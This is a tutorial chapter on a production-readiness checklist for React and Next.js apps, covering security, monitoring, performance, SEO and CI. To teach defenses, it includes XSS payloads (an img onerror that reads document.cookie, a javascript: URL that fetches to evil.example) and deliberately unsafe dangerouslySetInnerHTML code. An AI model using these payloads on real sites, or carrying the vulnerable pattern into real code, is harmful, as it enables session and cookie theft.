The production checklist

Security, monitoring, performance budgets, SEO and CI.

Builds on Rendering and deploying Next.js.

Rendering and deploying Next.js got a Next.js app built and deployed. Deployed isn't the same as ready. In development you have one user (you), readable stack traces, warnings in the console and nobody trying to break in. In production you have thousands of users on slow phones, minified code, an attacker pasting HTML into your comment box, and a pager that should go off before a customer emails you.

This chapter is the checklist a senior engineer runs before and after launch. Every item is here because of a specific failure, so each section starts from what goes wrong and shows the mechanism that prevents it. Where React itself is involved (escaping, URL blocking, root error callbacks, metadata) you'll run the real thing in the sandbox. Where it's framework or infrastructure (CSP headers, Server Function auth, CI), you'll get the code you'd actually write and the reasoning for it.

The problem: it worked on localhost#

Here's a comment list for the reading-list app. The product manager wanted **bold** in comments, so someone wrote a tiny formatter that turns it into <strong> and renders the result as HTML. It looks fine with friendly comments. Then a user named mallory posts one. Run it and watch the console.

A comment list that trusts its input
const comments = [
  { id: 1, author: "Ana", text: "This book is **great**." },
  {
    id: 2,
    author: "mallory",
    text: 'Nice list <img src="x" onerror="console.log(\'Script ran. It can read\', document.cookie || \'(cookies)\', \'and call your API as this user\')">',
  },
];

function toHtml(text: string) {
  return text.replace(/\*\*(.+?)\*\*/g, "<strong>$1</strong>");
}

export default function App() {
  return (
    <>
      <h4>Rendered as text (React's default)</h4>
      <ul>
        {comments.map((c) => (
          <li key={c.id}>
            {c.author}: {c.text}
          </li>
        ))}
      </ul>
      <h4>Rendered with dangerouslySetInnerHTML</h4>
      <ul>
        {comments.map((c) => (
          <li key={c.id}>
            {c.author}: <span dangerouslySetInnerHTML={{ __html: toHtml(c.text) }} />
          </li>
        ))}
      </ul>
    </>
  );
}
Nothing logged yet.

The first list shows mallory's comment as harmless text, angle brackets and all. The second list hands her string to the browser's HTML parser, which creates an <img>, fails to load x, and runs the onerror attribute as JavaScript. That's cross-site scripting (XSS): an attacker's code running on your origin, with your user's session. In a real app the payload would send cookies or call your API instead of logging.

Nothing about this was visible during development, because nobody on the team typed an <img> tag into a comment. That's the pattern for the whole chapter: production failures come from inputs, devices, traffic and timing you never see locally. The checklist below is how you see them anyway.

  • Build and config: the production build, and which environment variables reach the browser.
  • Security: escaping, URLs, CSP, Trusted Types, Server Function auth, CSRF, secrets and patching.
  • Errors and observability: every place an error can surface, source maps, logs and traces.
  • Performance: budgets and Core Web Vitals measured on real users.
  • Discoverability: metadata, sitemaps and i18n.
  • Shipping: CI, preview deployments, feature flags, gradual rollouts and rollback.

Build configuration and environment variables#

Ship the production build#

React ships two builds. The development build checks your code constantly: it warns about missing keys, validates hook order, double-invokes components and effects under Strict Mode, and keeps readable component stacks. All of that costs time and bytes. The production build strips it. Frameworks pick the build from NODE_ENV: next build and vite build set production, next dev and vite set development. You almost never set it by hand, and you should never deploy the output of a dev server.

Two consequences matter in interviews. First, behavior that only appears in development (Strict Mode's double effects, the warnings) won't show up in production, so "it logs twice" isn't a production bug. Second, production errors are minified: Minified React error #418 instead of a sentence. The number maps to a message on react.dev, and your source maps (later in this chapter) map your own frames back to file and line.

What leaks to the client: public prefixes#

Environment variables are where secrets live, and the build is where they leak. Both Next.js and Vite use the same mechanism: a variable with a public prefix gets inlined into client code at build time. The bundler finds the literal expression and replaces it with the string.

What a public prefix does at build time
Source (client component)process.env.NEXT_PUBLIC_API_URLprocess.env.STRIPE_SECRET_KEYClient bundle (after build)Build machine envvalues read once, at next build
Step 1 of 4

Your source reads two variables. One has the public prefix, one doesn't. Both live in the environment of the machine that runs the build.

.env
# Server only. Never reaches the browser.
DATABASE_URL=postgres://...
STRIPE_SECRET_KEY=sk_live_...

# Inlined into client bundles at build time. Public.
NEXT_PUBLIC_API_URL=https://api.example.com
VITE_SENTRY_DSN=https://public@o1.ingest.example.io/1

Three rules follow from the mechanism.

  1. A prefix is a publication decision. Anything with NEXT_PUBLIC_ or VITE_ is readable by anyone who opens DevTools. Analytics IDs, public DSNs and API base URLs are fine. API keys with write access are not, even "temporarily".
  2. Inlined values are frozen at build time. If you build one Docker image and promote it from staging to production, every NEXT_PUBLIC_ value still says staging. For values that differ per environment, read them on the server at request time (in Next.js, after await connection() or any request-time API) and pass them down, or serve them from an endpoint.
  3. Server code can still leak secrets by passing them down. A Server Component that reads process.env.STRIPE_SECRET_KEY and passes it as a prop to a Client Component has just serialized it into the page. Keep secret reads inside a server-only module (more below) so they can't be imported or passed by accident.

Validate the environment at startup too. A missing DATABASE_URL should crash the deploy, not the first checkout request three hours later. A Zod schema over process.env in a module that runs at boot is enough.

Quick checkWhich value reaches the browser?

A Client Component in a Next.js app contains `const k = process.env.NEXT_PUBLIC_MAPS_KEY` and `const s = process.env.MAPS_SECRET`. The app is built once and deployed to staging and production. What's true?

Security#

React escapes text, and where it doesn't#

Back to the first sandbox. React rendered mallory's comment safely in the first list because of how it writes to the DOM: text children become text nodes (textContent), and attribute values go through setAttribute. Neither runs the HTML parser, so <img> stays the characters <, i, m, g. The same holds in server rendering, where React escapes <, >, & and quotes in the HTML it emits.

That default covers most of an app. XSS in React apps comes through the doors that bypass it:

  • dangerouslySetInnerHTML, which sets innerHTML directly. The name is the warning. If you must render HTML (a CMS body, rendered Markdown), sanitize it with a maintained sanitizer such as DOMPurify, as close to where the HTML is produced as possible.
  • URLs in href, src, action and formAction, where a javascript: scheme turns a link into code. React 19 handles the worst case; see the next section.
  • Spreading untrusted objects as props. <div {...userJson} /> lets the data choose its own props, including dangerouslySetInnerHTML or href. Pick fields explicitly.
  • Direct DOM writes through refs (ref.current.innerHTML = ...) or third-party widgets. React can't protect code that skips it.
  • Inline scripts you build by hand, such as <script>window.__DATA__ = ${JSON.stringify(data)}</script> in a custom SSR setup. JSON.stringify doesn't escape </script>, so a string field can close your tag. Frameworks handle this for their own payloads; your hand-rolled ones need escaping.
Fix itBold without the HTML parser

Keep the **bold** feature but remove the XSS. Render comments with real React elements instead of an HTML string: mallory's comment should show as plain text (angle brackets visible), and bold segments should become <strong> elements. Press Check when you're done.

Safe comment formatting
const comments = [
  { id: 1, author: "Ana", text: "This book is **great**." },
  { id: 2, author: "Sam", text: "Agreed, **read it twice**!" },
  {
    id: 3,
    author: "mallory",
    text: 'Nice <img src="x" onerror="window.__stolen = true; console.log(\'XSS ran\')"> list',
  },
];

function toHtml(text: string) {
  return text.replace(/\*\*(.+?)\*\*/g, "<strong>$1</strong>");
}

function Comment({ author, text }: { author: string; text: string }) {
  return (
    <li>
      <span className="author">{author}:</span>{" "}
      <span dangerouslySetInnerHTML={{ __html: toHtml(text) }} />
    </li>
  );
}

export default function App() {
  return (
    <ul>
      {comments.map((c) => (
        <Comment key={c.id} author={c.author} text={c.text} />
      ))}
    </ul>
  );
}

javascript: URLs are blocked#

A link is code if its URL starts with javascript:. If a user can set their profile's website to javascript:fetch('https://evil.example', ...), every visitor who clicks it runs that. React 16.9 started warning about this. In React 19 it's no longer a warning: React replaces the value. Reading the 19.3.1 source in this guide's sandbox, react-dom tests href, src, xlinkHref, action and formAction against a pattern that ignores case, leading spaces and control characters, and embedded tabs or newlines. A match is replaced with a URL that throws React has blocked a javascript: URL as a security precaution. It does this in development and production builds, and in server rendering too.

React rewrites javascript: URLs

The effect logs each link's actual href attribute. Click the second link and look at the console: the error comes from React's replacement, and the attacker's code never runs.

import { useEffect, useRef } from "react";

const userWebsites = [
  "https://react.dev",
  "javascript:console.log('attacker code ran')",
  "  JaVa\tScRiPt:console.log('sneaky variant ran')",
];

export default function App() {
  const list = useRef<HTMLUListElement>(null);

  useEffect(() => {
    for (const a of list.current!.querySelectorAll("a")) {
      console.log("href attribute:", a.getAttribute("href"));
    }
  }, []);

  return (
    <ul ref={list}>
      {userWebsites.map((url, i) => (
        <li key={i}>
          <a href={url}>Website {i + 1}</a>
        </li>
      ))}
    </ul>
  );
}
Nothing logged yet.

Don't stop there. React only knows one dangerous scheme. It can't know which URLs your app should link to, and a link that throws is still a broken link. Validate user-supplied URLs where you accept them (on the server, when the profile is saved) with an allowlist, and render a fallback for anything else:

lib/safe-url.ts
const ALLOWED = new Set(["http:", "https:", "mailto:"]);

export function safeHref(input: string): string | undefined {
  try {
    const url = new URL(input, "https://placeholder.invalid");
    return ALLOWED.has(url.protocol) ? input : undefined;
  } catch {
    return undefined;
  }
}
PredictTwo ways to render a link

profile.website is "javascript:alert(document.cookie)". What's in each link's href attribute after React renders, and what happens when a user clicks each one?

function Profile({ profile }: { profile: { website: string } }) {
  return (
    <>
      <a href={profile.website}>Link A</a>
      <div dangerouslySetInnerHTML={{ __html: `<a href="${profile.website}">Link B</a>` }} />
    </>
  );
}

Content Security Policy with nonces#

Escaping prevents injection. A Content Security Policy (CSP) limits the damage if injection happens anyway. It's a response header that tells the browser which scripts may run. A strict policy says: run only scripts that carry this request's random nonce (a value used once), plus whatever those scripts load ('strict-dynamic'). An injected <script> or onerror attribute has no nonce, so it's blocked even if your escaping failed.

In Next.js 16 you generate the nonce per request in proxy.ts (the file formerly called middleware.ts) and set the header. Next.js reads the nonce out of the Content-Security-Policy request header during rendering and stamps it onto its own framework scripts, page bundles and inline scripts automatically.

proxy.ts
import { NextResponse, type NextRequest } from "next/server";

export function proxy(request: NextRequest) {
  const nonce = Buffer.from(crypto.randomUUID()).toString("base64");
  const dev = process.env.NODE_ENV === "development";
  const csp = [
    "default-src 'self'",
    `script-src 'self' 'nonce-${nonce}' 'strict-dynamic'${dev ? " 'unsafe-eval'" : ""}`,
    `style-src 'self' 'nonce-${nonce}'`,
    "object-src 'none'",
    "base-uri 'self'",
    "form-action 'self'",
    "frame-ancestors 'none'",
  ].join("; ");

  const requestHeaders = new Headers(request.headers);
  requestHeaders.set("x-nonce", nonce);
  requestHeaders.set("Content-Security-Policy", csp);
  const response = NextResponse.next({ request: { headers: requestHeaders } });
  response.headers.set("Content-Security-Policy", csp);
  return response;
}

The trade-off is the interview question. A nonce must be unique per response, so every page using it must render dynamically. Static generation, ISR and the prerendered static shell of Partial Prerendering can't carry a per-request nonce, and the Next.js docs call nonce-based CSP incompatible with PPR. You pay in server work and lose CDN caching for HTML. The alternatives: a CSP without nonces set in next.config headers (weaker, needs 'unsafe-inline' for Next's inline scripts), or Next's experimental Subresource Integrity support, which hashes your scripts at build time so pages can stay static. Development also needs 'unsafe-eval', because React uses eval there to rebuild server error stacks; production doesn't.

Roll out a new policy with Content-Security-Policy-Report-Only first. The browser reports violations without blocking, and you find the analytics snippet nobody told you about before it breaks checkout.

Trusted Types React 19.3#

CSP can go one step further. With require-trusted-types-for 'script', the browser refuses plain strings at injection sinks like innerHTML: they must be TrustedHTML (or TrustedScript, TrustedScriptURL) objects created by a named policy you define. Every place HTML enters the page then has to go through your sanitizer, and an accidental innerHTML = userString throws instead of shipping. MDN lists the Trusted Types API as Baseline 2026, newly available in current browsers.

Before 19.3, this didn't work with React: React coerced values to strings with '' + value before handing them to the DOM, turning your trusted object back into a string the browser rejected. React 19.3 passes these values through without coercion, so dangerouslySetInnerHTML can take a TrustedHTML value:

lib/trusted.ts
import DOMPurify from "dompurify";

// The policy name must be listed in the CSP: trusted-types app-html
const policy = window.trustedTypes?.createPolicy("app-html", {
  createHTML: (input) => DOMPurify.sanitize(input),
});

export function BookDescription({ html }: { html: string }) {
  const __html = policy ? policy.createHTML(html) : DOMPurify.sanitize(html);
  return <div dangerouslySetInnerHTML={{ __html }} />;
}
Response header
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types app-html

Trusted Types don't make HTML safe by themselves. They make sure every string that becomes HTML went through a function you chose, which turns "audit every innerHTML in the codebase and its dependencies" into "audit one policy".

Server Functions are public endpoints#

A Server Function (a "use server" function, called a Server Action in Next.js when used for mutations) looks like a local function call. It's an HTTP POST endpoint. Anyone can call it with any arguments, without your UI. The Next.js docs are blunt: a page-level auth check does not extend to the actions defined in it; treat every action as reachable by a direct POST.

So every Server Function does four things, in this order:

app/books/actions.ts
"use server";

import { z } from "zod";
import { requireUser } from "../../data/auth";
import { db } from "../../data/db";
import { updateTag } from "next/cache";

const Input = z.object({ bookId: z.uuid(), rating: z.number().int().min(1).max(5) });

export async function rateBook(raw: unknown) {
  // 1. Validate: arguments are attacker-controlled, whatever TypeScript says.
  const { bookId, rating } = Input.parse(raw);

  // 2. Authenticate: who is calling?
  const user = await requireUser();

  // 3. Authorize: may this user touch this resource? (Prevents IDOR.)
  const book = await db.book.findUnique({ where: { id: bookId } });
  if (!book || book.listOwnerId !== user.id) throw new Error("Forbidden");

  await db.rating.upsert({ where: { bookId_userId: { bookId, userId: user.id } }, create: { bookId, userId: user.id, rating }, update: { rating } });
  updateTag(`book-${bookId}`);

  // 4. Return only what the UI needs, never the raw row.
  return { ok: true };
}

TypeScript types on the parameters are compile-time fiction at a network boundary: the client can send any serializable value. IDOR (insecure direct object reference) is the classic miss: the user is logged in, so the check passes, but the bookId belongs to someone else. Add rate limiting for anything expensive (emails, AI calls, sign-ups).

Next.js adds defense in depth around this: action IDs are encrypted and non-deterministic, unused actions are removed from the client bundle so they never become endpoints, and variables captured in an inline action's closure are encrypted with a key generated per build. None of that replaces the four steps above.

CSRF and Server Actions#

Cross-site request forgery (CSRF) is a request your user's browser sends to your site from someone else's page, with your cookies attached. A hidden form on evil.example that posts to your "delete account" endpoint is the classic case.

Next.js Server Actions have three layers against it. They only accept POST. Browsers now default cookies to SameSite=Lax, which keeps cookies off cross-site POSTs. And Next.js compares the request's Origin header with its Host (or X-Forwarded-Host) header and aborts the action if they differ. Behind a reverse proxy or on a multi-zone domain where those legitimately differ, you list trusted hosts in experimental.serverActions.allowedOrigins instead of switching the check off.

The Origin check is a Server Actions feature. A Route Handler (app/api/.../route.ts) is a plain HTTP endpoint: if it accepts a cookie-authenticated POST, it needs its own protection (an Origin check, a CSRF token, or SameSite=Strict cookies). And never perform mutations on GET, in a Server Component's render, or in a link's URL. Next.js explicitly blocks setting cookies and revalidating during render for this reason.

CORS is not CSRF protection. Cross-Origin Resource Sharing headers (Access-Control-Allow-Origin and friends) decide whether a script on another origin may read your response. They don't stop a cross-site form from sending the request, which is all CSRF needs. Same-origin calls, including your own pages calling your Server Actions and Route Handlers, need no CORS headers at all. Add them only on endpoints other origins must call, list exact origins rather than *, and remember browsers refuse * together with credentials. Requests with a JSON body or custom headers trigger a preflight OPTIONS request first, which the endpoint must answer.

Quick checkIs this action CSRF-safe?

A Next.js 16 app exposes a `deleteList` Server Action that checks the session cookie and ownership. An attacker's page auto-submits a form that POSTs to your site. What stops it in a default setup?

Secrets stay on the server#

Server Components made it easy to read a secret and render in the same file, which also made it easy to leak one. The defenses, weakest to strongest:

  • Explicit DTOs. Return only the fields a component needs (a data transfer object), never the whole database row. Props of Client Components should be narrow on purpose.
  • import "server-only" at the top of any module that touches the database or process.env secrets. If a client module imports it, even transitively, the build fails.
  • A data access layer (DAL): one server-only folder that owns database access, secret reads and authorization, and returns DTOs. The Next.js security guide recommends it for new projects and suggests auditing that database packages and environment variables aren't imported outside it. Chapter 60 treats it as an architecture boundary.
  • Taint APIs (experimental_taintObjectReference, experimental_taintUniqueValue, behind experimental.taint in Next.js) make React throw if a marked object or value is passed to the client. They're experimental, and the docs call them an extra layer, not a substitute for filtering.

Patch fast: the December 2025 RSC vulnerability#

On December 3, 2025, the React team disclosed CVE-2025-55182 ("React2Shell"): unauthenticated remote code execution, CVSS 10.0, in how React decoded payloads sent to Server Function endpoints. Server Functions covers the affected packages and versions, the Next.js advisory and the follow-up CVEs. Fixes shipped the same day in React 19.0.1, 19.1.2 and 19.2.1, and further advisories kept arriving into January 2026.

The lessons are the checklist items:

  1. You expose endpoints you didn't write. The advisory noted that an app could be vulnerable even with no Server Functions of its own, as long as it supported Server Components. Using a framework means its protocol is part of your attack surface.
  2. Time to patch is a metric. Have automated dependency updates (Dependabot or Renovate), a lockfile, a CI pipeline fast enough to ship a patch the same day, and someone subscribed to the React and Next.js security advisories.
  3. Platform mitigations are temporary. Hosting providers deployed firewall rules, and the React team said not to rely on them. The fix was upgrading.
  4. Patches come in waves. A critical fix draws attention to nearby code. Expect follow-ups and keep patching after the first one.

Errors, logging and tracing#

Every place an error surfaces#

You can't fix errors you don't see, and React apps fail in more places than people expect. An error boundary only catches errors thrown while rendering its subtree (and in lifecycle methods). It doesn't see event handlers, timers, promises, or anything on the server.

Where production errors surface
What went wrongWhere it's reportedRender error inside a boundaryonCaughtErrorcreateRoot optionRender error, no boundaryonUncaughtErrorcreateRoot optionHydration mismatchonRecoverableErrorhydrateRoot optionEvent handler or async errorerror eventwindow listenersServer render, action, routeonRequestErrorinstrumentation.tsMonitoring+ release tag+ source maps
Step 1 of 7

Five kinds of failure, five different places they surface. A reporter that listens to only one of them misses most of what breaks.

React 19 gave the root three callbacks so monitoring tools don't have to patch console.error:

OptionFires whenDefault behavior
onCaughtError(error, errorInfo)An error boundary caught a render errorconsole.error
onUncaughtError(error, errorInfo)No boundary caught it; React unmounts the rootReports it as a global error
onRecoverableError(error, errorInfo)React recovered on its own, for example by client-rendering after a hydration mismatchReports it as a global error

errorInfo.componentStack is the component path to the failure. You pass these to createRoot or hydrateRoot. Here they are in script mode, where you create the root yourself, with all four client-side cases:

Root error callbacks, four ways to fail

The first three lines print on load. Then click the button: that error never touches React's callbacks.

import { Component, type ReactNode } from "react";
import { createRoot, hydrateRoot } from "react-dom/client";

function report(kind: string, error: unknown, info?: { componentStack?: string }) {
  const message = error instanceof Error ? error.message.split("\n")[0] : String(error);
  const where = info?.componentStack?.trim().split("\n")[0] ?? "(no component stack)";
  console.log(`[${kind}] ${message}\n    ${where}`);
}

const rootOptions = {
  onCaughtError: (e: unknown, i: { componentStack?: string }) => report("caught", e, i),
  onUncaughtError: (e: unknown, i: { componentStack?: string }) => report("uncaught", e, i),
  onRecoverableError: (e: unknown, i: { componentStack?: string }) => report("recoverable", e, i),
};

class Boundary extends Component<{ children: ReactNode }, { failed: boolean }> {
  state = { failed: false };
  static getDerivedStateFromError() {
    return { failed: true };
  }
  render() {
    return this.state.failed ? <p>Something went wrong (fallback)</p> : this.props.children;
  }
}

function PriceTag({ price }: { price?: number }) {
  return <p>Price: {price!.toFixed(2)}</p>;
}

// 1. A boundary catches it: the user sees a fallback.
createRoot(document.getElementById("caught")!, rootOptions).render(
  <Boundary>
    <PriceTag />
  </Boundary>
);

// 2. Nothing catches it: React unmounts this root.
createRoot(document.getElementById("uncaught")!, rootOptions).render(<PriceTag />);

// 3. Server HTML that doesn't match the client: React re-renders on the client.
const hydrated = document.getElementById("hydrated")!;
hydrated.innerHTML = "<p>Rendered at 10:00</p>";
hydrateRoot(hydrated, <p>Rendered at 10:01</p>, rootOptions);

// 4. Event handler errors bypass all of the above.
window.addEventListener("error", (event) => report("window", event.error));
createRoot(document.getElementById("events")!, rootOptions).render(
  <button
    onClick={() => {
      throw new Error("Checkout handler failed");
    }}
  >
    Click to throw in a handler
  </button>
);
Nothing logged yet.

The "recoverable" line is the one teams miss. A hydration mismatch doesn't break the page, it quietly throws away the server HTML and re-renders on the client, so you lose the benefit of SSR while your dashboards stay green. Count these.

A monitoring SDK (Sentry, Datadog, Bugsnag and similar) wires all of this up: the root callbacks, window listeners for error and unhandledrejection, and a server integration. Your job is to make sure the setup actually reaches every path, add context (user id, route, feature flags), and place error boundaries so a failing widget shows a fallback instead of unmounting the app. One boundary per route segment, plus around independent widgets, is a reasonable default; in Next.js that's error.tsx per segment and global-error.tsx at the root.

Build itAn error reporter for the root

Write createRootOptions(send) in reporter.ts. It returns an options object for createRoot and hydrateRoot that:

  1. handles all three callbacks, calling send with { kind, message, componentStack, release } where kind is "caught", "uncaught" or "recoverable";
  2. uses the error's message (or String(error) for non-errors) and errorInfo.componentStack (empty string if missing), and the exported RELEASE;
  3. sends each distinct kind plus message only once per options object, so a render loop can't flood your monitoring quota.
createRootOptions
export type Report = {
  kind: "caught" | "uncaught" | "recoverable";
  message: string;
  componentStack: string;
  release: string;
};

export const RELEASE = "2026.11.24-a1b2c3";

export function createRootOptions(send: (report: Report) => void) {
  return {
    onCaughtError(error: unknown, errorInfo: { componentStack?: string }) {
      // TODO: report instead of logging, and handle the other two callbacks
      console.error(error);
    },
  };
}
Nothing logged yet.

Source maps, privately#

Production stack traces point into minified bundles: at a (chunk-8f2c.js:1:40211). A source map maps those positions back to your original files. Generate them in the production build, upload them to your monitoring service tagged with the release, and don't serve them publicly unless you're fine publishing your source. Next.js keeps browser source maps off by default (productionBrowserSourceMaps); monitoring SDKs typically generate maps during the build, upload them, and delete them from the output. Without the release tag matching between the error and the uploaded maps, you get the minified stack anyway.

Server errors, logs and traces#

On the server, Next.js gives you instrumentation.ts at the project root. Its register() runs once when a server instance starts, which is where tracing setup goes, and its onRequestError (stable since Next.js 15) receives every server error with the route and context:

instrumentation.ts
import { registerOTel } from "@vercel/otel";
import type { Instrumentation } from "next";
import { reportServerError } from "./lib/monitoring"; // your logger or monitoring SDK

export function register() {
  registerOTel("reading-list");
}

export const onRequestError: Instrumentation.onRequestError = async (err, request, context) => {
  const digest = typeof err === "object" && err !== null && "digest" in err ? String(err.digest) : undefined;
  await reportServerError({
    message: err instanceof Error ? err.message : String(err),
    digest,
    path: request.path,
    routeType: context.routeType, // "render" | "route" | "action" | "proxy"
  });
};

The digest matters. In production, an error thrown in a Server Component reaches the browser with its message replaced by a generic one plus a digest hash, so you don't leak internals. The digest is the key that joins the error the user saw to the full error in your server logs.

OpenTelemetry is the vendor-neutral standard for traces: a trace follows one request across your proxy, Server Component renders, fetches and database calls as a tree of timed spans. Next.js already creates spans for rendering and fetches once a tracer is registered. Traces answer "why was this page slow for this user", which logs alone can't.

For logs: structured JSON with a request id, route and release on every line, sent to a log store you can query. Never log tokens, passwords or full request bodies. Then set alerts on the few signals that mean users are hurting (error rate per release, p75 latency, failed checkouts), not on every warning.

Performance budgets and field data#

Performance regresses one reasonable pull request at a time. A budget turns "keep it fast" into a number CI can fail on.

Core Web Vitals are Google's three user-centered metrics, each judged at the 75th percentile of real page loads:

MetricMeasuresGood
LCP, Largest Contentful PaintLoading: when the biggest image or text block rendered2.5 s or less
INP, Interaction to Next PaintResponsiveness: delay from an interaction to the next frame, across the visit200 ms or less
CLS, Cumulative Layout ShiftVisual stability: how much content jumps around0.1 or less

INP replaced First Input Delay in 2024. It's the metric React apps fail most often, because a slow event handler or a big synchronous re-render blocks the next paint, and it's the reason transitions and the Compiler matter in production.

Lab data (Lighthouse, DevTools on your laptop) is reproducible and good for catching regressions in CI. Field data comes from real users on their devices and networks, which is what Google ranks on and what your users feel. Lighthouse can't even measure INP because there's no user, so it uses Total Blocking Time as a proxy. You need both, and only field data tells you the truth.

Field measurement is called RUM (real user monitoring). Underneath, it's PerformanceObserver. Here's a stripped-down version of what the web-vitals library does for INP, CLS and LCP:

Measuring interactions with PerformanceObserver

Click each button a few times. "Slow" busy-waits for 300 ms in its handler, like a heavy synchronous render. "Insert banner" adds content above the buttons after a delay, which counts as a layout shift. Event Timing isn't available in every browser; the first line tells you what yours supports.

import { slowDown } from "guide-tools";

const types = PerformanceObserver.supportedEntryTypes;
console.log("Supported:", types.filter((t) => ["event", "layout-shift", "largest-contentful-paint"].includes(t)).join(", ") || "none");

// INP: for each interaction, the longest event duration (input delay +
// handler time + time to the next paint). INP is roughly the worst one.
const worstByInteraction = new Map<number, number>();
if (types.includes("event")) {
  new PerformanceObserver((list) => {
    for (const e of list.getEntries() as PerformanceEventTiming[]) {
      if (!e.interactionId) continue;
      const prev = worstByInteraction.get(e.interactionId) ?? 0;
      if (e.duration <= prev) continue;
      worstByInteraction.set(e.interactionId, e.duration);
      const inputDelay = Math.round(e.processingStart - e.startTime);
      const handler = Math.round(e.processingEnd - e.processingStart);
      const inp = Math.max(...worstByInteraction.values());
      console.log(`${e.name}: ${e.duration} ms (input delay ${inputDelay}, handler ${handler}). Worst so far: ${inp} ms`);
    }
  }).observe({ type: "event", durationThreshold: 16, buffered: true } as PerformanceObserverInit);
}

// CLS (simplified): sum shifts that weren't caused by recent input.
let cls = 0;
if (types.includes("layout-shift")) {
  new PerformanceObserver((list) => {
    for (const e of list.getEntries() as any[]) {
      if (e.hadRecentInput) continue;
      cls += e.value;
      console.log(`layout shift ${e.value.toFixed(3)}, total ${cls.toFixed(3)}`);
    }
  }).observe({ type: "layout-shift", buffered: true });
}

let count = 0;
const out = document.getElementById("out")!;
document.getElementById("fast")!.addEventListener("click", () => {
  out.textContent = `Interactions: ${++count}`;
});
document.getElementById("slow")!.addEventListener("click", () => {
  slowDown(300);
  out.textContent = `Interactions: ${++count}`;
});
document.getElementById("shift")!.addEventListener("click", () => {
  setTimeout(() => {
    const banner = document.createElement("p");
    banner.textContent = "A late banner pushes everything down.";
    banner.style.cssText = "padding:24px;background:#f6e3d8;margin:0 0 8px";
    document.getElementById("banner-slot")!.prepend(banner);
  }, 800);
});
Nothing logged yet.

Notice the late banner: the click itself was input, but the shift happens 800 ms later, outside the short window where shifts are excused, so it counts. That's the ad slot or cookie banner that hurts your CLS in production.

In a real app you use the library and send each metric to your own endpoint (or a RUM vendor), tagged with route and release, then chart the 75th percentile per route:

app/web-vitals.ts
import { onCLS, onINP, onLCP, type Metric } from "web-vitals";

function send(metric: Metric) {
  const body = JSON.stringify({ name: metric.name, value: metric.value, id: metric.id, route: location.pathname });
  // sendBeacon survives the page being closed, which is when CLS and INP are final.
  navigator.sendBeacon?.("/analytics/vitals", body) || fetch("/analytics/vitals", { body, method: "POST", keepalive: true });
}

onCLS(send);
onINP(send);
onLCP(send);

Next.js wraps the same idea in useReportWebVitals from next/web-vitals. Whichever you use, report per route: one slow page hides inside a good site-wide average.

Bundle budgets are the lab-side guard. JavaScript size is the input to INP and hydration time on slow phones, and it only grows. Put a size check in CI (for example size-limit, or a script over the bundler's stats) with a per-route or per-entry limit in compressed kilobytes, and make the PR that crosses it explain why. Look at what's actually in the bundle with an analyzer before arguing about the number; it's usually one date library or an icon set imported whole.

Metadata, SEO and i18n#

Metadata where the data is#

Search engines and link previews read <title>, <meta name="description">, Open Graph tags and canonical links. React 19 lets a component render <title>, <meta> and <link> anywhere in its tree, and React hoists them into <head>, on the client and in server rendering. That puts a page's metadata next to the data it describes:

React 19 hoists title and meta into head
import { useEffect, useState } from "react";
import { books } from "guide-tools";

function BookPage({ book }: { book: (typeof books)[number] }) {
  return (
    <article>
      <title>{`${book.title} | Reading list`}</title>
      <meta name="description" content={`${book.title} by ${book.author} (${book.year})`} />
      <h3>{book.title}</h3>
      <p>
        {book.author}, {book.year}
      </p>
    </article>
  );
}

export default function App() {
  const [id, setId] = useState(books[0].id);
  const book = books.find((b) => b.id === id)!;

  useEffect(() => {
    const meta = document.head.querySelector('meta[name="description"]');
    console.log("document.title:", document.title);
    console.log("meta in <head>:", meta?.getAttribute("content"));
  }, [id]);

  return (
    <>
      <select value={id} onChange={(e) => setId(Number(e.target.value) as typeof id)}>
        {books.map((b) => (
          <option key={b.id} value={b.id}>
            {b.title}
          </option>
        ))}
      </select>
      <BookPage book={book} />
    </>
  );
}
Nothing logged yet.

In Next.js you'll usually use the framework's API instead, because it merges metadata across nested layouts and dedupes tags: export a metadata object, or an async generateMetadata({ params }) that fetches what it needs (requests are deduped with the page's own fetches). Add app/sitemap.ts and app/robots.ts to generate sitemap.xml and robots.txt from your data, set alternates.canonical so duplicate URLs don't split ranking, and use opengraph-image.tsx for generated preview images. For SEO the decisive factor is still rendering: content that's in the server HTML is indexed reliably, content that appears after client fetches is a gamble.

Internationalization#

Put the locale in the URL (/es/books), not in a cookie alone, so every language version is linkable, cacheable and indexable. In the App Router that's a [lang] segment, with proxy.ts redirecting from / based on Accept-Language. Load only the current locale's messages on the server, set <html lang> and dir="rtl" where needed, and format with Intl (Intl.DateTimeFormat, Intl.NumberFormat, Intl.PluralRules) rather than string concatenation. Libraries like next-intl, react-i18next or Lingui handle message catalogs and plurals. The React-specific trap is hydration: a date formatted in the server's time zone and again in the user's produces different text, which is a hydration mismatch (and an onRecoverableError report). Format with an explicit time zone, or render user-local times only on the client.

Shipping safely: CI, flags, rollouts and rollback#

CI gates and preview deployments#

Every pull request runs the same pipeline, fast enough that nobody skips it:

  1. tsc --noEmit for types (Next.js also type-checks during next build, but a separate step fails faster).
  2. Lint, including the React Hooks and Compiler rules.
  3. Unit and component tests (Vitest or Jest with Testing Library).
  4. A production build, with the bundle budget check.
  5. A preview deployment: the PR built and deployed to its own URL, with production-like config and its own (non-production) data.
  6. End-to-end tests (Playwright) and optionally Lighthouse CI against the preview URL.

Preview deployments change review. The reviewer clicks through the real build instead of imagining it, and the e2e suite runs against the same artifact you'll promote. Keep preview environments away from production secrets and production databases.

Feature flags and gradual rollouts#

A feature flag separates deploying code from releasing a feature. You merge the new checkout behind a flag that's off, deploy it, turn it on for staff, then 1% of users, then 10%, watching error rate and vitals per flag variation, then everyone. If something goes wrong you flip the flag back in seconds, without a deploy.

React-specific advice: evaluate flags on the server and pass the result down (or render the right branch in a Server Component). Evaluating on the client after load means a flash of the old UI and, if server and client disagree, a hydration mismatch. Assign users to percentages with a stable hash of their id so they don't flip between variations. Attach active flags to error reports and RUM events, or you can't tell whether the new path is the slow one. And delete flags once a rollout finishes: every flag doubles the states your code can be in. OpenFeature is a vendor-neutral standard API if you want to avoid locking into one flag provider.

Rollback and version skew#

Make every deploy immutable and keep the previous ones, so rollback means pointing traffic back at the last good build, not rebuilding old code under pressure. Platforms like Vercel do this as instant rollback; on your own infrastructure, keep the previous image tagged and the switch scripted. Two things make rollback harder than it sounds:

  • Database changes. If the new release dropped a column, rolling back the code doesn't bring it back. Use expand-and-contract migrations: add the new shape, deploy code that handles both, migrate, and only then remove the old shape in a later release.
